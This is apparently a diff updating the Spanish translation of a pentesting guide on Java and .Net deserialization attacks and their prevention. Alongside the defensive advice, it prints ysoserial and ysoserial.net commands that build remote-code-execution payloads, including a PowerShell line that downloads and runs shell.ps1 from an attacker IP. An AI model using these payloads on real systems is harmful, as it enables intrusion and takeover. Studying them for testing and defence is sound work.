sleep o DNS.\ -[**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) +También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este plugin detectará **no solo vulnerabilidades relacionadas con `ObjectInputStream`**, sino también vulnerabilidades de librerías de deserialización **Json** y **Yml**. En modo activo, intentará confirmarlas usando payloads de sleep o DNS.\ +[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) -**Prueba de Serialización** +**Serialization Test** -No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una aplicación web).\ -Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y eludir algunas verificaciones. +No todo consiste en comprobar si el servidor usa alguna librería vulnerable. A veces puedes **modificar los datos dentro del objeto serializado y eludir algunas comprobaciones** (quizá conseguir privilegios de admin dentro de una webapp).\ +Si encuentras un objeto java serializado siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir de forma más legible el objeto serializado que se envía**. Saber qué datos estás enviando facilita modificarlos y eludir algunas comprobaciones. -### **Explotar** +### **Exploit** #### **ysoserial** -La herramienta principal para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descargar aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con pipes, por ejemplo).\ -Ten en cuenta que esta herramienta está **enfocada** en explotar **`ObjectInputStream`**.\ -Yo **comenzaría usando el payload "URLDNS"** **antes de un payload RCE** para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione, pero otro payload RCE sí. +La herramienta principal para explotar deserializaciones Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con pipes, por ejemplo).\ +Ten en cuenta que esta herramienta está **enfocada** en explotar deserializaciones **`ObjectInputStream`**.\ +Yo **empezaría usando el payload "URLDNS"** antes de un payload RCE para probar si la inyección es posible. De todos modos, ten en cuenta que quizá el payload "URLDNS" no funcione pero otro payload RCE sí. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -484,9 +497,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -Al crear un payload para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html). +Al crear un payload para **java.lang.Runtime.exec()** no puedes usar caracteres especiales como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload puedes [usar esta página](http://www.jackson-t.ca/runtime-exec-payloads.html). -Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable: +Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de code execution** para Windows y Linux y luego probarlos en la página web vulnerable: ```python import os import base64 @@ -509,12 +522,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec) se puede usar para generar payloads para explotar diferentes **Json** y **Yml** bibliotecas de serialización en Java.\ -Para compilar el proyecto, necesitaba **agregar** estas **dependencias** a `pom.xml`: +[**marshalsec** ](https://github.com/mbechler/marshalsec) puede usarse para generar payloads para exploit diferentes librerías de serialización **Json** y **Yml** en Java.\ +Para compilar el proyecto necesité **añadir** estas **dependencias** a `pom.xml`: ```html javax.activation @@ -529,35 +542,35 @@ Para compilar el proyecto, necesitaba **agregar** estas **dependencias** a `pom. pom ``` -**Instala maven**, y **compila** el proyecto: +**Instala maven** y **compila** el proyecto: ```bash sudo apt-get install maven mvn clean package -DskipTests ``` #### FastJSON -Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +Lee más sobre esta biblioteca Java para JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) -### Labs +### Laboratorios - Si quieres probar algunos payloads de ysoserial puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) -### Why +### Por qué -Java utiliza mucha serialización para varios propósitos como: +Java usa ampliamente la serialización para varios propósitos como: -- **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc. -- **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java. -- **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos. +- **HTTP requests**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc. +- **RMI (Remote Method Invocation)**: El protocolo Java RMI, que depende completamente de la serialización, es fundamental para la comunicación remota en aplicaciones Java. +- **RMI over HTTP**: Este método se usa comúnmente en aplicaciones web con thick client basadas en Java, utilizando serialización para todas las comunicaciones de objetos. - **JMX (Java Management Extensions)**: JMX utiliza la serialización para transmitir objetos a través de la red. -- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos. +- **Custom Protocols**: En Java, la práctica habitual implica la transmisión de objetos Java en bruto, lo cual se demostrará en ejemplos de exploit a continuación. -### Prevention +### Prevención -#### Transient objects +#### Objetos transient -Una clase que implementa `Serializable` puede implementar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo: +Una clase que implementa `Serializable` puede declarar como `transient` cualquier objeto dentro de la clase que no deba ser serializado. Por ejemplo: ```java public class myAccount implements Serializable { @@ -566,20 +579,20 @@ private transient double margin; // declared transient ``` #### Evitar la serialización de una clase que necesita implementar Serializable -En escenarios donde ciertos **objetos deben implementar la `Serializable`** interfaz debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación: +En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para evitar esto, asegúrate de que estos objetos no sean deserializables definiendo un método `final` `readObject()` que lance siempre una excepción, como se muestra a continuación: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` -#### **Mejorando la Seguridad de la Deserialización en Java** +#### **Mejorando la seguridad de la deserialización en Java** -**Personalizar `java.io.ObjectInputStream`** es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando: +**Personalizar `java.io.ObjectInputStream`** es un enfoque práctico para proteger los procesos de deserialización. Este método es adecuado cuando: -- El código de deserialización está bajo tu control. -- Las clases esperadas para la deserialización son conocidas. +- El código de deserialización está bajo su control. +- Se conocen las clases esperadas para la deserialización. -Sobrescribe el **`resolveClass()`** método para limitar la deserialización solo a las clases permitidas. Esto previene la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización solo a la clase `Bicycle`: +Sobrescriba el método **`resolveClass()`** para limitar la deserialización únicamente a clases permitidas. Esto evita la deserialización de cualquier clase excepto las expresamente permitidas, como en el siguiente ejemplo que restringe la deserialización únicamente a la clase `Bicycle`: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -600,17 +613,17 @@ return super.resolveClass(desc); } } ``` -**Usando un Agente de Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de JVM: +**Using a Java Agent for Security Enhancement** ofrece una solución alternativa cuando no es posible modificar el código. Este método se aplica principalmente para **blacklisting harmful classes**, utilizando un parámetro de la JVM: ``` -javaagent:name-of-agent.jar ``` -Proporciona una forma de asegurar la deserialización de manera dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos. +Proporciona una forma de asegurar la deserialización de manera dinámica, ideal para entornos donde los cambios de código inmediatos son poco prácticos. Consulta un ejemplo en [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) -**Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la interfaz **`ObjectInputFilter`**, proporcionando un mecanismo poderoso para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control granular sobre el proceso de deserialización. +**Implementación de filtros de serialización**: Java 9 introdujo filtros de serialización mediante la interfaz **`ObjectInputFilter`**, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros pueden aplicarse de forma global o por flujo, ofreciendo un control granular sobre el proceso de deserialización. -Para utilizar filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo: +Para utilizar los filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth @@ -622,101 +635,102 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Aprovechando Bibliotecas Externas para una Mayor Seguridad**: Bibliotecas como **NotSoSerial**, **jdeserialize** y **Kryo** ofrecen características avanzadas para controlar y monitorear la deserialización de Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la creación de listas blancas o negras de clases, el análisis de objetos serializados antes de la deserialización e implementar estrategias de serialización personalizadas. +**Aprovechamiento de bibliotecas externas para mayor seguridad**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como whitelisting o blacklisting de clases, analizar objetos serialized antes de la deserialization e implementar estrategias personalizadas de serialization. -- **NotSoSerial** intercepta los procesos de deserialización para prevenir la ejecución de código no confiable. -- **jdeserialize** permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso. -- **Kryo** es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad. +- **NotSoSerial** intercepta los procesos de deserialization para prevenir la ejecución de untrusted code. +- **jdeserialize** permite el análisis de objetos Java serialized sin deserializarlos, ayudando a identificar contenido potencialmente malicious. +- **Kryo** es un framework alternativo de serialization que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialization configurables que pueden mejorar la seguridad. -### Referencias +### References - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) -- Deserialización y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) +- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) -- Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) -- Documento de Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) +- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) +- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) -- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) -- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) +- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) -## Inyección JNDI & log4Shell +## JNDI Injection & log4Shell + +Encuentra qué es **JNDI Injection, cómo abusar de ella via RMI, CORBA & LDAP y cómo explotar log4shell** (y un ejemplo de esta vuln) en la siguiente página: -Encuentra qué es **Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}} -## JMS - Servicio de Mensajes de Java +## JMS - Java Message Service -> La API de **Servicio de Mensajes de Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). -### Productos +### Products -Hay varios productos que utilizan este middleware para enviar mensajes: +There are several products using this middleware to send messages: ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>) ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>) -### Explotación +### Exploitation -Entonces, básicamente hay un **montón de servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\ -Esto significa que en esta explotación todos los **clientes que vayan a usar ese mensaje se infectarán**. +Básicamente existen **muchos servicios que usan JMS de forma peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (normalmente necesitarás credenciales válidas) podrías ser capaz de enviar **malicious objects serialized que serán deserialized por el consumer/subscriber**.\ +Esto significa que en esta explotación todos los **clients que vayan a usar ese mensaje se verán infectados**. -Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad. +Debes recordar que incluso si un servicio es vulnerable (porque está deserializing entrada de usuario de forma insegura) todavía necesitas encontrar gadgets válidos para explotar la vulnerabilidad. -La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable. +La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectarse y atacar estos servicios enviando varios malicious objects serialized usando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si cualquiera de los gadgets usados está presente en la aplicación vulnerable. -### Referencias +### References -- [Patchstack advisory – Everest Forms inyección de objeto PHP no autenticada (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) +- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) -- Charla de JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) -- Diapositivas: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) +- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net -En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde se explotan gadgets para ejecutar código específico durante la deserialización de un objeto. +En el contexto de .Net, las exploits de deserialization operan de manera similar a las encontradas en Java, donde se explotan gadgets para ejecutar código específico durante la deserialization de un objeto. -### Huella +### Fingerprint #### WhiteBox -El código fuente debe ser inspeccionado en busca de ocurrencias de: +El código fuente debe inspeccionarse en busca de ocurrencias de: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` -El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario. +El enfoque debe estar en serializers que permitan que el tipo sea determinado por una variable bajo control del usuario. #### BlackBox -La búsqueda debe dirigirse a la cadena codificada en Base64 **AAEAAAD/////** o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a deserializar. Esto podría incluir, pero no se limita a, estructuras **JSON** o **XML** que presenten `TypeObject` o `$type`. +La búsqueda debe dirigirse a la cadena codificada en Base64 **AAEAAAD/////** o cualquier patrón similar que pueda sufrir deserialization en el servidor, otorgando control sobre el tipo a deserializar. Esto podría incluir, pero no limitarse a, estructuras **JSON** o **XML** que presenten `TypeObject` o `$type`. ### ysoserial.net -En este caso, puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio git, deberías **compilar la herramienta** usando Visual Studio, por ejemplo. +En este caso puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialization**. Una vez descargado el repositorio git deberías **compilar la herramienta** usando Visual Studio, por ejemplo. -Si deseas aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +Si quieres aprender **cómo ysoserial.net crea su exploit** puedes [**revisar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). -Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.** +The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** and **`--plugin`.** -- **`--gadget`** se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos). -- **`--formatter`**, se usa para indicar el método para serializar el exploit (necesitas saber qué biblioteca está usando el backend para deserializar la carga y usar la misma para serializarla). -- **`--output`** se usa para indicar si deseas el exploit en **crudo** o **codificado en base64**. _Ten en cuenta que **ysoserial.net** **codificará** la carga utilizando **UTF-16LE** (codificación utilizada por defecto en Windows), así que si obtienes el crudo y simplemente lo codificas desde una consola de linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._ -- **`--plugin`** ysoserial.net admite plugins para crear **exploits para marcos específicos** como ViewState. +- **`--gadget`** se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialization para ejecutar comandos). +- **`--formatter`**, se usa para indicar el método para serialized el exploit (necesitas saber qué librería está usando el back-end para deserializar el payload y usar la misma para serializarlo). +- **`--output`** se usa para indicar si quieres el exploit en **raw** o en **base64** codificado. _Nota que **ysoserial.net** **encode** el payload usando **UTF-16LE** (encoding usado por defecto en Windows) así que si obtienes el raw y simplemente lo codificas desde una consola linux podrías tener algunos **encoding compatibility problems** que impedirán que el exploit funcione correctamente (en la HTB JSON box el payload funcionó tanto en UTF-16LE como en ASCII pero esto no significa que siempre vaya a funcionar)._ +- **`--plugin`** ysoserial.net soporta plugins para crear **exploits para frameworks específicos** como ViewState -#### Más parámetros de ysoserial.net +#### More ysoserial.net parameters -- `--minify` proporcionará una **carga más pequeña** (si es posible) -- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso) -- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas) +- `--minify` proporcionará un **payload más pequeño** (si es posible) +- `--raf -f Json.Net -c "anything"` Esto listará todos los gadgets que pueden usarse con un formatter proporcionado (`Json.Net` en este caso) +- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formatters que contengan "xml" (insensible a mayúsculas) -**Ejemplos de ysoserial** para crear exploits: +**ysoserial examples** para crear exploits: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -735,7 +749,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\ -Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así puedes probar si tu payload funcionará correctamente.\ +Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** para que puedas probar si tu payload funcionará correctamente.\ Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -750,7 +764,7 @@ Debugging.ShowErrors(inputArgs, err); } } ``` -Esto significa que para probar la explotación, el código llamará a [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) +Esto significa que, para probar el exploit, el código llamará a [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) ```java public static object JsonNet_deserialize(string str) { @@ -761,46 +775,46 @@ TypeNameHandling = TypeNameHandling.Auto return obj; } ``` -En el **código anterior es vulnerable al exploit creado**. Así que si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también sea vulnerable.\ -Por lo tanto, el **`--test`** permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que **ysoserial.net** puede crear. +En el **código anterior es vulnerable al exploit creado**. Así que si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable. +Por ello el parámetro **`--test`** nos permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que **ysoserial.net** puede generar. ### ViewState -Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-__viewstate-parameter.md) para **ejecutar código arbitrario.** Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee este post para saber cómo ejecutar código**](exploiting-__viewstate-knowing-the-secret.md)**.** +Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-__viewstate-parameter.md) para **ejecutar código arbitrario.** Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee este post para saber cómo ejecutar código**](exploiting-__viewstate-knowing-the-secret.md). -### Prevención +### Prevention Para mitigar los riesgos asociados con la deserialización en .Net: -- **Evita permitir que los flujos de datos definan sus 